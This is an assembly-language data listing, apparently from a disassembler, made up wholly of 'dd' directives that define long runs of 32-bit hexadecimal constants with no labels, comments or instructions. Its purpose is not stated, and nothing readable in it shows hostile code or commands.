dd 2F744F51h, 1A49h, 82BE5BE1h, 729303B2h, 7CDF266Ah, 38238020h
dd 0F04162D6h, 754145Ch, 0D84FA203h, 1D7050F0h, 66520006h
dd 0E9432969h, 3072BABh, 940B4A36h, 0A19224B0h, 0C94C00DDh
dd 0BCDF07A7h, 320C1B5Fh, 0A8AB4756h, 3A692C83h, 1CD14300h
dd 0D3706800h, 71C09446h, 58A0625Eh, 1604D5Ch, 731C3793h
dd 81C021E8h, 0FBBE9956h, 639400FDh, 0BB23C191h, 44067419h
dd 0CE9EFC1Eh, 93872270h, 982EA925h, 58AE90h, 0CF9E35D3h
dd 302A2CC5h, 9F49F716h, 0B94B3100h, 35F0FB7h, 0E21394EDh
dd 0C9882550h, 0B304F9A9h, 0EA62661Ch, 0C6BF5490h, 0C1E301F8h
dd 39854552h, 181880F3h, 69D93F47h, 91BB0028h, 0B7269465h
dd 67000D27h, 85C0E5BAh, 9F1B11h, 0C6F7CAA7h, 0E493FB60h
dd 0DE255A03h, 8829788Ch, 1287E18h, 521BABE3h, 0F84F38D9h
dd 0C7076971h, 1FE43FCh, 483B3510h, 499002Fh, 0E423C9F9h
dd 80A09DB4h, 8A00C388h, 0E925A80Ah, 819524h, 0F93ED71Ch
dd 69675FF7h, 8E9B1900h, 0CF86608h, 98D53F51h, 0C925833Bh
dd 46E89C00h, 0EF1C5E4Ah, 64E41B48h, 7C14E700h, 9D8041Ch
dd 2279F35Ch, 0ACB49082h, 0DF005870h, 0C5A9F831h, 4BF2D4Ch
dd 4A90170Fh, 3B98A0DDh, 0B9D66700h, 4259B170h, 1F9001Ah
dd 0F63D2357h, 521FC502h, 0CB40819Dh, 44A0E6D9h, 0AE2B0321h
dd 1D7A270Ch, 0EEDE45C8h, 50C348h, 9FF88012h, 14771971h
dd 0C80C3B52h, 396D0200h, 3C7BFCECh, 6968C800h, 0ED7898B8h
dd 0C5233E40h, 3B974481h, 0C0F7D388h, 0B303A5BAh, 6A9B100Ch
dd 0A3D7E812h, 0CE6000A9h, 0E167817Fh, 1A0991C4h, 80F93AB1h
dd 61CA9C32h, 96D72E54h, 92FE0060h, 0E8D05AF1h, 4F08248h
dd 0A925BA5Bh, 5704487h, 1201A88Ah, 5DD2DA3Eh, 81340D0h
dd 35DF52D4h, 16009498h, 178AF0EDh, 69744Bh, 0AC8E3B26h
dd 0CA1413B9h, 660044B0h, 120EA86Fh, 286756h, 0D083FF9Ah
dd 0B92BAEBBh, 5276FFA0h, 30F85430h, 3C1CAD6Eh, 77011892h
dd 49482520h, 0FBE8E899h, 0ACA85F26h, 21FD0207h, 1AAEBE3h
dd 8CF3EA10h, 0D0E19C35h, 4A00DAD6h, 67E3C87Dh, 16C66Ah
dd 0F46DE9F8h, 513E3DB0h, 1B6E6300h, 9531F7E4h, 0E117CB4h
dd 73BEE625h, 97746122h, 0CB5414C0h, 10F3C300h, 28331DD6h
dd 44141F9Ch, 4810EDAAh, 0EF00C53Fh, 0BE094313h, 723C414h
dd 0EB834B05h, 0BC4CA37Ah, 0F510AC13h, 0B7C71420h, 8AE8009Ch
dd 0C64EE38Eh, 3098A1B6h, 9EB41B00h, 0E957D694h, 495C4AF9h
dd 0E90E2604h, 8BF5E620h, 0C5007C47h, 0CB0F1F11h, 16B72544h
dd 49E3E4Bh, 0C029DCDAh, 23D0104Ch, 82CB702Dh, 0C037C8CCh
dd 13D971CEh, 0C3F15F3Dh, 0D0000B98h, 86F998C3h, 9AE5F3h
dd 0CC0E76Dh, 62A6C87Bh, 6B129000h, 0E160AEF1h, 3D55070Dh
dd 80FCFF02h, 0B0EF50ACh, 0DC4DD898h, 2CB40016h, 0FDD74621h
dd 6D520154h, 5BD48A2Dh, 5A2881F0h, 0CA506AE0h, 5E3C20h
dd 0D050975h, 1C830A7Bh, 67C17802h, 4040CF65h, 0B85EF5B4h
dd 0C27B1D0Ah, 4B60C094h, 3F4AB5D0h, 1FEC4748h, 0FB44D3CDh
dd 0F280D6FFh, 3CEB5D80h, 0BA003F9Ah, 0B006204Bh, 461D036Fh
dd 8180FD68h, 7D0A5751h, 5CCD00A4h, 7ABD66DEh, 25E6E8FAh
dd 60773CFEh, 94A1704Eh, 6F129851h, 0B5A430h, 0D07C500Eh
dd 478EF591h, 361DCE00h, 924E52BCh, 0D9041F17h, 580FD10h
dd 2A3D3049h, 0CBE2AAD1h, 579D0703h, 8ADB0681h, 0A3E04036h
dd 0DCB70944h, 0BE816172h, 40D0F004h, 0BED2F190h, 0D42C2E07h
dd 369BAB6Bh, 63300158h, 43E37CE0h, 609AF14Fh, 57003480h
dd 1499B85Bh, 0D59BBCh, 9E3B6322h, 7F1861D3h, 79E8B700h
dd 0ED9A5E53h, 0E15DDBh, 8498592Eh, 0B7C67166h, 0C9D90244h
dd 43842E6Eh, 9AA038A4h, 0A00083BFh, 0A21415E5h, 7001E40Dh
dd 0A7BA1863h, 0BDDCA96Eh, 7D80003Fh, 0D43B395Ah, 9202C525h
dd 0FDC25388h, 8776C32Fh, 4D82005Eh, 0F5E889h, 0F410DE9h
dd 0B0D41AD0h, 0A413DFE8h, 0F8401049h, 0A6B1B821h, 4480005Ah
dd 2B6654D1h, 4F5039D7h, 0BB188CE4h, 36D9921Dh, 0AEDA0164h
dd 17C0A69h, 6AA6E4CAh, 0C9002875h, 0EA5E4212h, 0B1CD7Fh
dd 0A9B5CF84h, 4F252CA0h, 1FB49600h, 0A3E337D6h, 3C2D74F3h
dd 0E4504089h, 9B590047h, 156F72DDh, 5F5B1CE7h, 64F57000h
dd 0C16B2Dh, 3E2397CCh, 0B7E1462Ah, 0A500B0E6h, 94C0285Ah
dd 0FA7D88Fh, 554180B3h, 40D4B9A7h, 38306A9h, 84DE314h
dd 4C5B0BEEh, 0CF483A6h, 0E13AA0C7h, 59C100FDh, 40FF2C96h
dd 290FEF03h, 204EDC91h, 0D01D8053h, 0B9E50B39h, 7E00E276h
dd 0CD3FECF7h, 331FFF00h, 850FC360h, 0F1C500BBh, 0AAE266B8h
dd 97F657B4h, 8086133Dh, 8D2B2759h, 4A0E0D87h, 0D2500080h
dd 0D5DD353Ch, 372D6701h, 0D15E8A9Bh, 20287ECh, 92F9982h
dd 5460228Ch, 43004DADh, 0E8EC40CEh, 1F1B3FEh, 0F968A65Bh
dd 40C68105h, 4A30BED0h, 3E9C665Dh, 1380062h, 6F9C99B5h
dd 27190C06h, 3A20B2AFh, 33785600h, 4314B83Bh, 99DC87h
dd 0B79C98B0h, 8E601901h, 0B4FCA338h, 860900EBh, 547BABF9h
dd 8300DC8Ch, 17403BC3h, 64D3D6Bh, 0BE025A9Ah, 5D018099h
dd 0E2A765EFh, 30406B91h, 160FCD9Ch, 0DBF68Eh, 6C153B46h
dd 0F103BD3Eh, 0A603367Bh, 1417D98h, 13CCA775h, 409D027Eh
dd 875F1D0Ch, 3D39DC00h, 7C34B588h, 6AE400A8h, 79551A92h
dd 5300AB3Eh, 249BD703h, 1838DFh, 0BC429D5Ch, 80C7FDBDh
dd 0D644A901h, 48F4C6BEh, 76D7EDCh, 0DBC9696Eh, 0E037A081h
dd 0B30050B9h, 5546097Bh, 58E348h, 0C0A00F03h, 13C56F3Ch
dd 74BE5907h, 2C5005B7h, 9BAEADh, 657D8147h, 0AB30D34Fh
dd 338F8900h, 8FB73A6h, 0BBECBDh, 9AB49E6Fh, 1C2ACA8h
dd 0CFDE7900h, 0E60D2778h, 7B623942h, 135A2600h, 90C1E9C4h
dd 5C611D04h, 2488A704h, 0D1C500A3h, 78263B31h, 9CC021Dh
dd 14321B6h, 0E7A4D1D2h, 0F014C0DBh, 88019E5Ch, 1C4B37EEh
dd 482DBABDh, 5BE8B901h, 0C8A04767h, 9403F153h, 0C4EC70EBh
dd 1D9E80EAh, 40BA4F64h, 0AFE37F90h, 0D001756Eh, 9CD5C7B4h
dd 28BF0DCEh, 0B0803536h, 0CE020B46h, 3E3B34D1h, 4610C831h
dd 9B3FD117h, 0AB418F8Ch, 449E820Dh, 1C4789Fh, 43E93F83h
dd 0BA69D5ACh, 0BDCA1889h, 2F3A41h, 5FB4106Ch, 0A8869CD1h
dd 28D02BB0h
dd 1012348h, 3B36D1C4h, 88CE186Eh, 0D10ECD74h, 0E0AAC37Dh
dd 6DEDBA0Ch, 0BB2C1856h, 8AC08145h, 5800F37Bh, 0EEFFB7ADh
dd 0F82A9C32h, 4C960001h, 22EC863Eh, 80EB68D7h, 6C35A559h
dd 90E79914h, 0E8196001h, 9CCB3654h, 0E9B2CCA3h, 0E0169423h
dd 901E73EBh, 2888F11Eh, 0D000973Bh, 1F17AADDh, 89DE0067h
dd 0F25440FCh, 20003608h, 490B3E2Ch, 7C1BF16h, 2B447C35h
dd 8EB2F0E9h, 0EE0004E8h, 6559616Fh, 2CA4EA8h, 0D5977819h
dd 0FEC0C01Dh, 0A701F581h, 0C4363C32h, 0AA30EAABh, 0CB1B0E12h
dd 858768BBh, 7BF538Eh, 0A4E489D8h, 80E3D239h, 5286D614h
dd 65E15Eh, 0C2717419h, 0C0A7FBC5h, 0DA003B79h, 2C67113Dh
dd 0FE100D88h, 6FEF00F4h, 0AD464316h, 0EE3D4F98h, 49F38706h
dd 0F7A03951h, 2A47678h, 0A777BA24h, 55616A58h, 4F99C825h
dd 39A84731h, 0CAD4DC71h, 654000B7h, 93F626D4h, 1E3B2112h
dd 28C77717h, 29B076E7h, 0E75A059h, 8112E363h, 77B100DDh
dd 0BD76B0CEh, 4E03B3E8h, 1341EF6h, 0A360005Ch, 7571777h
dd 0BEF449A6h, 0E40AC800h, 6ED3E13Bh, 0A5F60050h, 0B263DF34h
dd 591FAEFEh, 61006F31h, 6BAA77E9h, 0A7DA31A2h, 7F12E718h
dd 0C0D925A0h, 1D1C0D29h, 780CCD5Ah, 0B0A25F96h, 0C46639E4h
dd 95125B80h, 0A0D95944h, 0A3E89E00h, 2367E598h, 6141004Bh
dd 0C560936Dh, 210395BBh, 4539B587h, 0CE78C036h, 106D002Eh
dd 171C0733h, 0A00003AEh, 0A2BCDC96h, 0CF57AA81h, 565E771h
dd 62901B48h, 93E06913h, 3601D1A8h, 0DEAA9571h, 47B880A5h
dd 0E36096B7h, 0DCAD00CEh, 0B8097CAh, 23000A4Ah, 0F08F205Bh
dd 18060F65h, 18961E3Ah, 9907E53Bh, 5C439587h, 0D501FC1h
dd 2A224F08h, 18B45441h, 407922EFh, 40BB821h, 4C429B27h
dd 0B8CD19BCh, 609661DDh, 0C2CE2C38h, 44F54A00h, 66A0C03Ah
dd 11704C6Ah, 0D5641F0Ch, 78B203Dh, 0ECCF0320h, 5193C634h
dd 4079CB4Ch, 9603E81Ch, 82B0EB03h, 0BEF1C13Eh, 94E0FBC1h
dd 24A30C99h, 9B7131CEh, 0CC28F578h, 0FA780836h, 50ECD22h
dd 0D69FF983h, 1859C004h, 0B952255Eh, 0DD172E94h, 26885F14h
dd 18308E9Bh, 324ACBCh, 0F57A30F8h, 98730186h, 0F2FA3A0Dh
dd 3E05838h, 420D0922h, 0AC065E60h, 316009B8h, 0DEA6321h
dd 51160054h, 23112E9Bh, 0B420042Ah, 0CAD0EF2Ch, 4CA9DF01h
dd 0BC19319Dh, 9600B07Dh, 42E4EB95h, 0B0779752h, 1E870AFh
dd 789A1050h, 0D817215Ah, 96325459h, 30FCA05Ch, 78110D20h
dd 36880E62h, 0D087980h, 0C86302h, 0F1589077h, 2B4F8EF2h
dd 0CD019207h, 887B4A51h, 0AEA08C16h, 1901C376h, 0BA31E6A6h
dd 63D0E789h, 0F420C04Fh, 8E65C3F1h, 1B44A001h, 2252B25Ah
dd 9B47080h, 348DF472h, 0D3773Bh, 0E9F93EC3h, 291921A1h
dd 7BB003F1h, 78D860FCh, 0EB6B1218h, 888800F8h, 0B0ACC3F4h
dd 2BF65400h, 0F7C96125h, 0D20E150Ah, 0EA00FC4Ch, 0D320F878h
dd 9E1A1975h, 90087DC5h, 7E708D70h, 265502F8h, 8A48BDCBh
dd 21434C80h, 3148C410h, 357B117Ch, 693FAC42h, 0B29DB500h
dd 0AF4D6E9Eh, 8D39813Fh, 61CD336Ah, 0BA34F800h, 4991C945h
dd 58C29013h, 0A0D269C0h, 640C9100h, 0C4B4BD7Ch, 0C974FCh
dd 936B60A2h, 45D0F388h, 9C1DC124h, 4982380h, 0B635D6h
dd 80660E95h, 0EEAF1214h, 7C789479h, 180DDD22h, 81EE2ABh
dd 41DFC2D1h, 0CDF50906h, 9C3C0089h, 9992B698h, 0B70E695Ah
dd 0C072637Fh, 82FED3F2h, 0F139C12Bh, 0C0DB32F9h, 85000205h
dd 0D0489EDDh, 3AACCFC6h, 54606C8Bh, 38974036h, 0C8F2B0C6h
dd 0E7EF0369h, 6AF186Ch, 997753B0h, 5DCC7C00h, 9D4D61A3h
dd 0F57E1863h, 54353134h, 99D6D205h, 0CF80848Fh, 71585AEh
dd 437DC0E4h, 5827D980h, 0A842208Eh, 1D072E96h, 8A36F9D1h
dd 2F85732h, 0C8A0B9D2h, 58F02AC7h, 0A426B707h, 52C037CBh
dd 7AE90B2h, 0D918FBC1h, 0E4B547BEh, 0F14C8C5h, 0F0542402h
dd 0E25F1548h, 90544161h, 3C281E30h, 13C88157h, 7CA32A00h
dd 8D9922E4h, 2F0037FCh, 23F77FF2h, 5C68BA7Eh, 0F60F3250h
dd 0A3007CFCh, 9EB47397h, 444C4F1Ch, 7154CB80h, 0C9CC7Eh
dd 0A0D84D3Bh, 8A92F39Ch, 6CEEDA13h, 0CF2B6C02h, 0F52448E1h
dd 0C920Ah, 1DF0C3CCh, 0CA7945DEh, 23AA2E00h, 126C9630h
dd 0B9D815C4h, 640084BBh, 0CAF5B59Bh, 0CF4D8350h, 24381D98h
dd 0BE232D00h, 0FC48654Bh, 175014ECh, 0FF00F2E2h, 98F8445Bh
dd 11146F26h, 0FA0424E7h, 183F0BC3h, 0BC4C100Ch, 79185Dh
dd 661B8BE3h, 88634EC2h, 8F3D1978h, 4FA60062h, 40690BB2h
dd 8A5C1B79h, 619A281Ah, 2DB16200h, 3357C87h, 16F56E0Ah
dd 6DD0BF44h, 3B00D11Ch, 0C9CF747Dh, 585282h, 0F66B46AEh
dd 0F9A594ACh, 4F697E4h, 1341F000h, 0AA51BD7Bh, 507E28h
dd 0BC1A990h, 0D44E3AA3h, 0E1EEFE00h, 0A26F7D1Dh, 8A191DD9h
dd 7A6DC098h, 6CECC82Fh, 5B656800h, 0AEC52A80h, 0D54A0144h
dd 0E0AB5FBCh, 0BAC8EC79h, 25C8600h, 0D030D95Ah, 0F920E61h
dd 0F820AB5Bh, 0A4B429E8h, 0C6478D00h, 8B33771Ch, 188AE24Ah
dd 0BAB253ACh, 0BA00A901h, 0F62F68A2h, 0E55836h, 57F777ABh
dd 0E08E7C73h, 1CA8963h, 0C7A9C031h, 77D50090h, 0F32F3CE3h
dd 0D00EF8CAh, 21878C0Ah, 0B3A10C30h, 6A9FE8h, 0B7640641h
dd 6092637Ah, 0EE0F4C71h, 40956665h, 253B539Eh, 6218C079h
dd 935ADBF0h, 690B1175h, 7E41CBh, 30152D13h, 22B40056h
dd 677CE05Eh, 4B008F5Ah, 0AEEA6C08h, 7CE8A16h, 0FA62B2C1h
dd 700691E6h, 42F6FC88h, 80B1503Eh, 3ECBDE34h, 49F9537h
dd 0D7EC9E80h, 0C01C871Ah, 6A2759A2h, 0D1216100h, 0DE19301Dh
dd 0EB2A0BDCh, 0A050EF07h, 53708560h, 763E3CBh, 0F7D72FB7h
dd 7271C138h, 6A9AD475h, 0A283D01Eh, 34E5000h, 45EC7h
dd 96B587E7h, 105520A4h, 377F5C90h, 0C6D13000h, 1E6A6E93h
dd 48A3000Ch, 7757148Bh, 8671D275h, 62B09400h, 0FCADB7ECh
dd 22010F6Fh, 0A9E1E7EEh, 83C0736Eh, 0FFAED599h, 0DB2CE063h
dd 356F1F1Fh, 265C050h, 8B62C754h, 84264C00h, 36FEC4AAh
dd 0B02500ECh, 0E1A99A2Ch, 49001590h, 16AD9322h, 0BB9814h
dd 40E6F938h, 0B54FBCF6h, 64074C03h, 0B0329CEDh, 60BB106Ch
dd 0C260D1EBh, 8AF2A69Dh, 0A9C490C0h, 0C981D64h, 0B8FF9E10h
dd 0D900F419h, 0BD8E536Fh, 0BAFCC8h, 832C4294h, 0E3FD49DAh
dd 0BC7A48h, 392FAEE7h, 20B8FB9h, 0F53533A8h, 606E40h
dd 160715EDh, 3178BF2Eh, 0A0AEA1B2h, 0FF4E9B84h, 30190022h
dd 0E2CB3AAh, 0C2E67C84h, 0A8E60F2Ah, 0B8998C0Eh, 8B3F661Fh
dd 2A937E38h, 7CC0495Fh, 34C80165h, 0D0C3BFA9h, 0FB2FF472h
dd 260F247Bh, 14A735EDh, 0C26900B2h, 64A2EF2Ah, 90AF1263h
dd 222C4ED4h, 9235FD21h, 0D708C457h, 9190DC60h, 0C7F6C8DEh
dd 61E27AB1h, 0C4615DA1h, 0D528817Fh, 0BC00D831h, 5E0472C6h
dd 3F97C539h, 0CB005667h, 0E505AA2Ah, 50C1B19Dh, 0D302EB4Fh
dd 1AA100C3h, 93EC071Dh, 0E930688Ch, 0F5F629BAh, 427150h
dd 4B5FF11h, 0CFE985ABh, 0D998DA00h, 0C1C7EA9Ah, 1D090158h
dd 889C3F40h, 0EBC058E2h, 0D4006F43h, 8F295DB1h, 0F403567Ch
dd 525BFA0Bh, 51EDC919h, 5D28728Dh, 0B79330E8h, 0DD5EC115h
dd 7A968098h, 0A8F0DFBEh, 0EC75C88h, 0CA97CB51h, 9ED94E80h
dd 913F2DCFh, 6166999Dh
dd 0B9E48080h, 51520AC8h, 0E0981A2Ah, 32BE63Ah, 0F1E858FAh
dd 0AE003F72h, 6BB07C6Ch, 3A71D37Ah, 3B0A7861h, 4F548193h
dd 0C6A54BE0h, 7279A7C1h, 0F45222F8h, 88007EACh, 456E0D14h
dd 9521CACh, 0A2CFC5E8h, 996F4C02h, 0E5E6CE40h, 8B93818h
dd 184E6191h, 11FD1628h, 7609FE4Ah, 27D4890Bh, 1E903D48h
dd 3386535h, 30F80EC9h, 8FF09A66h, 0EB3BAC23h, 8864803Ah
dd 9F872833h, 0DE0D129Dh, 1C3600D6h, 0ECA3ADEBh, 66F77000h
dd 0B5D3E2C3h, 656F0083h, 41FFF5F2h, 3101A08Eh, 0A37C5E0Ah
dd 0E13043B8h, 9F070465h, 90787F6Eh, 0FABA6C14h, 53BF9700h
dd 3880E1A3h, 18C598E9h, 0B09D8978h, 0EA9E90FCh, 0B49B900h
dd 9813C2E4h, 9CF70204h, 2C0E2FCFh, 0EC05A8C0h, 0C0C7EF0Bh
dd 0C143804Ch, 3DBA723h, 1033A36h, 0BFE1B4BEh, 60FB3058h
dd 0D4DD8B24h, 9834FFC3h, 18B55B73h, 189B3C80h, 0A22A2EA4h
dd 0A8A0A83Ah, 8C26A786h, 1EEFB8C1h, 8D885D40h, 248AE41Eh
dd 122065C7h, 2D604C2Ch, 801DBD8h, 0D9B87161h, 84500731h
dd 49E09C73h, 0E6004CC2h, 57B88127h, 0B301F792h, 993610BDh
dd 0BC519D98h, 72F555A2h, 162424h, 4B11C169h, 8B5AB989h
dd 0D340B500h, 67C879D4h, 8E981BD1h, 0A0A7E943h, 1399E2Ah
dd 3B62E458h, 0E09500ACh, 0C02F18DCh, 0E89498B1h, 4DF200B3h
dd 38DDA7F3h, 6700471Ah, 4026517Ch, 0D83DA2h, 4521C05Bh
dd 775FCB2Ch, 0C62E8801h, 0C06F37Ch, 30F239C8h, 8D786D6Bh
dd 5475B3A4h, 0F3DB5F00h, 0F5E7DF0h, 4D26029Eh, 0D4AE42FAh
dd 8AE1EC68h, 0A9CE5300h, 641CE51Fh, 0A410070Ah, 0B39D82CDh
dd 2A88FFA1h, 0AA3C285Dh, 757B85A8h, 0CD00C979h, 0D8BF088h
dd 0E3E70087h, 90B7FEBCh, 0D613B592h, 2C0B27AFh, 0A1FC2179h
dd 0CC343234h, 91B50148h, 9DF11B42h, 0C0E9D047h, 60180B26h
dd 8A282480h, 18206415h, 0D89E6837h, 0A0E8CC1h, 0B2352114h
dd 66802B1Eh, 0E6010BA2h, 12E4707Eh, 4007F8h, 3465949h
dd 8617BB52h, 0F38020C0h, 745318Dh, 4BBF0276h, 85E11094h
dd 0B600ED0Ch, 0BE3D9768h, 3563EB8h, 32490942h, 0DAC008A6h
dd 0D800A2B3h, 249CF603h, 9A538FDCh, 1589265Ch, 315A80CCh
dd 87191A96h, 645649h, 0FAEEBB01h, 25B944h, 335D1BFEh
dd 0E95A0E38h, 82C90307h, 0BE902D18h, 14A8E90h, 0CA9ABCBBh
dd 442E1D06h, 867CC098h, 5500E4B8h, 0BE17838Fh, 92DFDC78h
dd 1DF800D0h, 0A7A4DD67h, 630076D1h, 5E47EDF5h, 3B10CAAh
dd 9E6ABD2Ch, 3FA0F8FAh, 68FCD499h, 0C418EF00h, 0CF30F62h
dd 0B3503B09h, 88D37B80h, 1A6075EEh, 0BFAB3C02h, 649DD8CAh
dd 98E73888h, 72CB348h, 3ACAC38h, 5C645DEEh, 0ED0780CCh
dd 573B29F0h, 6C1D00DBh, 0CBF69ED5h, 7A4B0E0h, 96234925h
dd 0DAB7A304h, 7F9D2290h, 0D47B49h, 0D2A48703h, 0E768917h
dd 267E2FBEh, 0BC50480h, 79023239h, 0D9AB53A0h, 0EAD84082h
dd 49A3Eh, 0CCE54F80h, 0ECF689CEh, 21B6200h, 4394A49Ah
dd 3BFC1FA5h, 0FEF040DEh, 35B7F56Ch, 0C3479013h, 712C4440h
dd 0D72853h, 0DF9D0968h, 8A5DAD0Dh, 20352D0Bh, 5B1800E8h
dd 0FED7BBh, 7047C0FCh, 595B622h, 2CEBAB02h, 0D48EF84Eh
dd 7F26007Eh, 976558C9h, 86D760C1h, 1024197Bh, 5CF27C56h
dd 2D0F9455h, 0B7E048F3h, 0A50E4EEBh, 63A33D00h, 97F6AC11h
dd 23310737h, 0C201FD9Dh, 0ACA1BE16h, 0DB59DE71h, 814D6000h
dd 6DBB74F5h, 8A70E04h, 0F0A62DF8h, 9B04216Eh, 622F77A8h
dd 0EF606091h, 78759C32h, 0A98C5B8h, 9D84C03Eh, 1800ED65h
dd 0E2206B01h, 1D1E24FAh, 80A67B5Ah, 0AAA026DAh, 1B17AEFFh
dd 5404E9E3h, 0ECB047D4h, 4D4B9845h, 371DB8AAh, 0B41D95F1h
dd 69466501h, 5089BC95h, 0A009BAA8h, 0CA448E05h, 0D8C625h
dd 46310067h, 0F8F51EA1h, 8D01A4E9h, 0AB8268ECh, 60875C2Fh
dd 6D7DB38h, 8900118Fh, 98BA0FA3h, 773B58BEh, 5718DE8Dh
dd 48A30050h, 4EAC9BC5h, 6605F57Fh, 0C6C08B52h, 15A93888h
dd 0DC64EB36h, 6E869A01h, 28956B61h, 14B3B08Ch, 432900F1h
dd 0BFF8AE79h, 0DD0493ABh, 0ACC4C3BDh, 75FF6C80h, 1D3B00AFh
dd 7D33ECAh, 77798419h, 625FB21Fh, 8DB386C0h, 154E0640h
dd 0C8DACA87h, 0AF361B31h, 5686CCE8h, 22ED1403h, 0B05F5780h
dd 79C4F52Bh, 0C38E0C77h, 68984898h, 90DEFF00h, 0C4C12E09h
dd 54DB047h, 0E4853F58h, 8D1CC0B1h, 18F8D6A3h, 0C04E95Dh
dd 40469AF4h, 1E3303ACh, 8932CF40h, 712688CEh, 0A781C866h
dd 73459F77h, 7A851881h, 9E35486Fh, 85FF3E11h, 1C90A2B0h
dd 32776F80h, 0F1AF003Fh, 2E01785h, 6C01871Eh, 99FBFCAAh
dd 0E8E8057Dh, 79F2E034h, 16F300BFh, 9E04ABF5h, 0E10E2652h
dd 803C3571h, 0B57497BEh, 70B91F7Ah, 44BC805Ah, 3049963Fh
dd 2C79CF00h, 0F5D7DEFDh, 1B5C24A0h, 3F870048h, 61D4D59Eh
dd 0CC9827h, 0AF8B6F98h, 876B05EEh, 80E306C7h, 32C4FCAFh
dd 9562410Fh, 815784E7h, 0E4F7E4D7h, 24B3F980h, 5A27D3Dh
dd 0B28DB4A4h, 65E881BDh, 0FAC8C766h, 2500D923h, 9F0BC87Bh
dd 7EE78Dh, 0C910208Ah, 649D5D2Bh, 0DD39F600h, 9FF968D2h
dd 0A04C1FB7h, 793FB5h, 0D8EF3FE0h, 1AA4BD7Ch, 5A98660Bh
dd 5F16005Dh, 0DA931Bh, 865CE04Eh, 0DE8FBF39h, 800D4C39h
dd 7C9BA8D4h, 0E0A581h, 722582DBh, 34966CADh, 5EE8A100h
dd 0CF7E3F1h, 0BD580066h, 0D8575BAAh, 0FD793D80h, 4FE47700h
dd 5F437BCh, 3F670063h, 39C91942h, 32007448h, 753C2C66h
dd 69256Dh, 0AC7CC35h, 204A1236h, 702E1A98h, 7800205Bh
dd 0BE4E7604h, 6C270039h, 0FB3EEC1Eh, 7B003874h, 562BA4Ah
dd 0F0C23C15h, 0E18303FEh, 0A1D16B36h, 606E94E1h, 2850CD91h
dd 330077D4h, 8531B83Dh, 0BF9FB7Dh, 5BB16037h, 40E75907h
dd 0F3903621h, 7C38AC02h, 58678B79h, 856E004Ch, 0C6B9F2D6h
dd 1302D587h, 974FA69Fh, 3876E0ABh, 0F9414EDh, 0A9000C11h
dd 6732F857h, 8500D347h, 137F3A93h, 9CC952CAh, 2B1B0094h
dd 0F512F089h, 6E4E3500h, 6D4B05EEh, 47F20EA0h, 5DD859h
dd 98088AB5h, 2700F717h, 0EAEBF02Ch, 26127Dh, 0DBAB7C07h
dd 0C9E0A9A4h, 56883Bh, 0EF540108h, 36A295h, 1C11676Fh
dd 0A13904A8h, 0A0690CA8h, 32AE5407h, 7A60FA50h, 90A9344Eh
dd 36956071h, 0CA6CBBE7h, 320FF2B0h, 404E07E3h, 654BE89Ch
dd 0B26200F4h, 47388C17h, 793CEB90h, 2EDD0099h, 91FF122Fh
dd 0D2CC007Fh, 0A5A0733Ch, 283976F3h, 0B150009Bh, 0ED2AC189h
dd 67E3009Dh, 70DB785Ch, 0A615FEAh, 5DAF8AB0h, 18F483DCh
dd 10140995h, 5603E3F9h, 0F8D70470h, 0CD06988Dh, 547E3Dh
dd 297D6B39h, 0C59ACCA9h, 0C800C1FAh, 7F574995h, 1AF9190h
dd 1931720Eh, 834537AEh, 23D15F28h, 0CA20AF3Dh, 1D89970Ch
dd 40EF3Ch, 43C7ED8Ah, 0D3004C99h, 0F72B6A25h, 0A3CCC87h
dd 0DB4D8363h, 73E00D7h, 659FFC0Ah, 0D4272B00h, 85FE3246h
dd 1BB00022h, 0F8B58687h, 8B00CF95h, 538AAA01h, 0C02637h
dd 18986DEBh, 0FC0F10D8h, 7D510200h, 0D2D1F82h, 0F8905Eh
dd 0DB70F938h, 0D5591B9Ch, 0BFC92700h, 36514975h, 5FE50098h
dd 0FA94AB31h, 2F00881Ch, 8D906926h, 74254A8Ah, 299501ADh
dd 0E317E0ABh, 0FB30307Fh, 0AC6BE07h, 8540C2DCh, 4A9733A1h
dd 58C445CAh, 76BC00B8h
dd 7150E4DAh, 826DD8F9h, 0C29BBF00h, 7E9FEB2Ah, 0E95301FDh
dd 0E2DE302Ch, 40C0DDDCh, 113ECC90h, 5BD10803h, 0E86FDF66h
dd 7AC828Dh, 0ABA8B65Eh, 0C879E0F8h, 0BB01A4F2h, 15AFA1Ah
dd 4BF41149h, 0F6850B0Ah, 0C802533h, 0F438139Eh, 1DAC981Eh
dd 0C803F52h, 0B4A7FD96h, 6DA50008h, 8DAB4ADDh, 452EDC07h
dd 0FCF13CAh, 0BC5600BDh, 76EE0E68h, 73260295h, 21812C24h
dd 27E868C3h, 30E8E2A7h, 0CCBACE00h, 98289D65h, 0C55A00B8h
dd 0EE38FB9Ah, 78C10BFFh, 0ECBC5711h, 640160BCh, 0C3AA3F9h
dd 4923E83Dh, 949850A1h, 15F2F838h, 105C2822h, 0B098A6A1h
dd 8174194Ah, 44ABC305h, 100AB596h, 0BC9C7823h, 0F8A13B40h
dd 3DE2930Eh, 0C8007B96h, 0A5805D10h, 4A00ED29h, 76DE2B3Eh
dd 770D6715h, 0CC9A1C91h, 2CCAC0A9h, 2E9E6120h, 3C6B8607h
dd 0EEF1AB16h, 63F025F9h, 769417E7h, 31C84012h, 98A6D138h
dd 891A5375h, 84491h, 0D1575110h, 0DDA600BFh, 695ACB48h
dd 3A313264h, 2D0D5010h, 2A46E050h, 163E03D2h, 1D223265h
dd 0E859205Bh, 0EF189778h, 98ABD108h, 40CDC53Bh, 0D1066284h
dd 0F1E2B011h, 0F8028100h, 3156C8A6h, 0B2400066h, 67619C52h
dd 0A4A898AFh, 0B300EBFFh, 0E8434E50h, 0D03549h, 462F69AAh
dd 6E2E42B2h, 0E2D46700h, 0E345AD95h, 0B3803E3Bh, 0DB1D7C83h
dd 0ECE8C41Ch, 2E002D8Ch, 0B91B9FC6h, 72355B1h, 0B5160D2h
dd 19B0205Fh, 3801E1BCh, 0D7CE7D07h, 9EC1ACCh, 0B04372A6h
dd 2E99001Bh, 6619B3B4h, 0F13B7290h, 4B9B80BCh, 7D1EEFF2h
dd 63FE772Eh, 71A518E4h, 3D8F5906h, 0E8312F76h, 0AC0401CAh
dd 0F82E9B2Bh, 5022F36Bh, 8B613F77h, 40AF4F80h, 124CAA1Bh
dd 0E1F23375h, 8A711A01h, 5539C451h, 63D8C0F9h, 497D44h
dd 3F25CC5Bh, 5C6E15EDh, 33C9718h, 0EC5FD81h, 9BA57BF3h
dd 942DBBA0h, 0B3005391h, 0EABCE539h, 603C462Eh, 0A16331ECh
dd 6600FB82h, 77E61783h, 1C064Bh, 0F82775D2h, 3C65F5FAh
dd 80A93E3Ch, 88BE1344h, 5068FE1Dh, 3AE8946Bh, 63000384h
